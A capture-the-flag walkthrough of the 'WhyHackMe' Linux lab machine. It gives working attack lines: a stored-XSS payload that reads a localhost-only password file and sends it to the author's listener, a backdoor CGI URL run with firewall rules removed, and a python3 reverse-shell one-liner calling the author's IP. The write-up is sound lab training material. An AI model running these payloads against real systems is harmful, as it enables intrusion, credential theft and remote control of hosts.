Machine name | OS | IP | Difficulty |
---|---|---|---|
WhyHackMe | Linux | 10.10.49.233 | Medium |
User
- Check if the host is responding
First, let's verify that we can reach the host using a simple ping
command:
└─# ping 10.10.49.233
PING 10.10.49.233 (10.10.49.233) 56(84) bytes of data.
64 bytes from 10.10.49.233: icmp_seq=1 ttl=61 time=608 ms
64 bytes from 10.10.49.233: icmp_seq=2 ttl=61 time=565 ms
- Check the running services
Let's check all running services and their versions using the nmap
command:
└─# nmap -sV -sC 10.10.49.233 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.49.233
Host is up (0.60s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.4.92.58
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 318 Mar 14 2023 update.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 47:71:2b:90:7d:89:b8:e9:b4:6a:76:c1:50:49:43:cf (RSA)
| 256 cb:29:97:dc:fd:85:d9:ea:f8:84:98:0b:66:10:5e:6f (ECDSA)
|_ 256 12:3f:38:92:a7:ba:7f:da:a7:18:4f:0d:ff:56:c1:1f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Welcome!!
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.86 seconds
-sV
- to get services with their versions.-sC
- to use default scripts.-Pn
- to skip the ping (as we already checked it in the first step).
The output shows that there are 1 running services with opened ports:
- Port
21
- vsftpd version 3.0.3 (FTP) - Port
22
- OpenSSH version 8.2p1 - Port
80
- Apache httpd version 2.4.41 (Web application)
The operating system of the machine is probably Linux (based on the Apache service and OpenSSH; we will verify this later).
- Inspect the FTP service
By running the following command, we can download everything on the FTP storage (as the anonymous
user without a password):
wget -r ftp://10.10.49.233
Inside is a file called update.txt
with the following content:
Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account.
- admin
Since we don't have access to localhost, we need to find an alternative way to retrieve this file (probably find SSRF).
- Examine the web application on port
80
└─# whatweb http://10.10.49.233
http://10.10.49.233 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], HttpOnly[PHPSESSID], IP[10.10.49.233], Title[Welcome!!]
The used technologies are determined by Wappalyzer
:
The main page displays some comments, but we cannot post anything; an account is required:
But where to create it? Based on this information, we can run feroxbuster
with a wordlist from seclists
:
And there’s a registration page at /register.php
:
- Exploit XSS
By registering with the username <script>alert(1)</script>
and the password test
, we can log in and post a comment. And there is a stored XSS!:
With this information, we can attempt to store an XSS payload which sends requests to localhost
. The payload, which is entered into the username
field, looks like this (the password
is optional, for example, test
):
<script>fetch("http://127.0.0.1/dir/pass.txt").then(response => response.text()).then(data => fetch("http://10.4.92.58:19000/?data=" + encodeURIComponent(data)));</script>
| NOTE: Our assumption is that someone is accessing the site from within the machine where the application backend is hosted. This assumption can be verified by the following message:
| NOTE 2: 10.4.92.58
is IP address of my computer.
| NOTE 3: Don't forget to start HTTP server by running python3 -m http.server 19000
Create a user (username
is the payload above), log in, and post a comment. Then wait for a while and check the requests to your HTTP server:
The text file stored on http://127.0.0.1/dir/pass.txt
reveals the username jack
with password WhyIsMyPasswordSoStrongIDK
.
This attack combines stored XSS with SSRF.
- User flag
We can now SSH into the server, and the user flag is located in /home/jack/user.txt.
Root
- Inspect the file system
While exploring the file system, I found something interesting in the /opt
folder:
The urgent.txt
file contains the following text:
Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.
The message indicates that this machine was likely hacked and that a malicious script was found in the /usr/lib/cgi-bin/
folder. Access to the script was blocked by iptables
(Linux firewall).
- Check sudo privileges
By running sudo -l
, we can view the root permissions:
Matching Defaults entries for jack on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jack may run the following commands on ubuntu:
(ALL : ALL) /usr/sbin/iptables
Essentially, we have the ability to manipulate iptables
. Since the administrator mentioned that they blocked access to the backdoor, we can investigate where the backdoor was listening:
It’s likely on port 41312
. We can verify if the backdoor is still running by using the command ss -tulpn
command:
Indeed, the backdoor is still running and listening. We can allow the traffic to port 41312
by running these two commands:
sudo iptables -L --line-numbers # list all rules with their line numbers
sudo iptables -D INPUT 1 # delete the rule on the first line
But we don’t yet know how to communicate with the backdoor. Since we have a .pcap
file, let’s investigate what’s inside.
- Analyze the
.pcap
file.
Download the file by starting an HTTP server on the target machine, within the /opt
folder:
python3 -m http.server 18000
Then, download it using wget
:
wget http://10.10.49.233:18000/capture.pcap
We can analyze the contents using Wireshark
:
However, there is only TLSv1.2 traffic, which is the encrypted form of HTTP. To decrypt it, we need the private key. Let’s search for the private key. By printing the content of /etc/apache2/sites-enabled/000-default.conf
(Apache configuration file), we can locate the private key:
We can simply use cat
command to display the content of /etc/apache2/certs/apache.key
and copy-paste it into a file on our machine named private.key
. In Wireshark
, navigate to Edit -> Preferences -> Protocols -> TLS -> RSA keys list, click EDIT, add a new Key File
, and save it:
Now, we can see that some traffic is decrypted, revealing a request calling the /cgi-bin/5UP3r53Cr37.py
script:
We can verify this by executing id
, for example:
https://10.10.49.233:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id
Using the queries key
and cmd
, we can attempt to create a reverse shell by placing it in the cmd
query and then calling the script to check if it's still on the server.
- Root flag
Using Reverse Shell Generator
, we can generate a python3
reverse shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.92.58",18080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Launch the listener:
nc -nvlp 18080
And enter it into the browser:
https://10.10.49.233:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.4.92.58%22,18080));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27
And we successfully obtain a reverse shell as www-data
user. By running sudo -l
, we can observe that the user has full root access, allowing us to spawn a root shell:
The root flag is in /root/root.txt.
Assumptions verifications
- Running OS
We assumed, based on the OpenSSH version, that the running OS is Ubuntu
. Let's verify it using the uname -a
and cat /etc/os-release
commands:
uname -a
Linux ubuntu 5.4.0-159-generic #176-Ubuntu SMP Mon Aug 14 12:04:20 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.5 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.5 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
Running OS - Ubuntu 20.04.5 LTS
.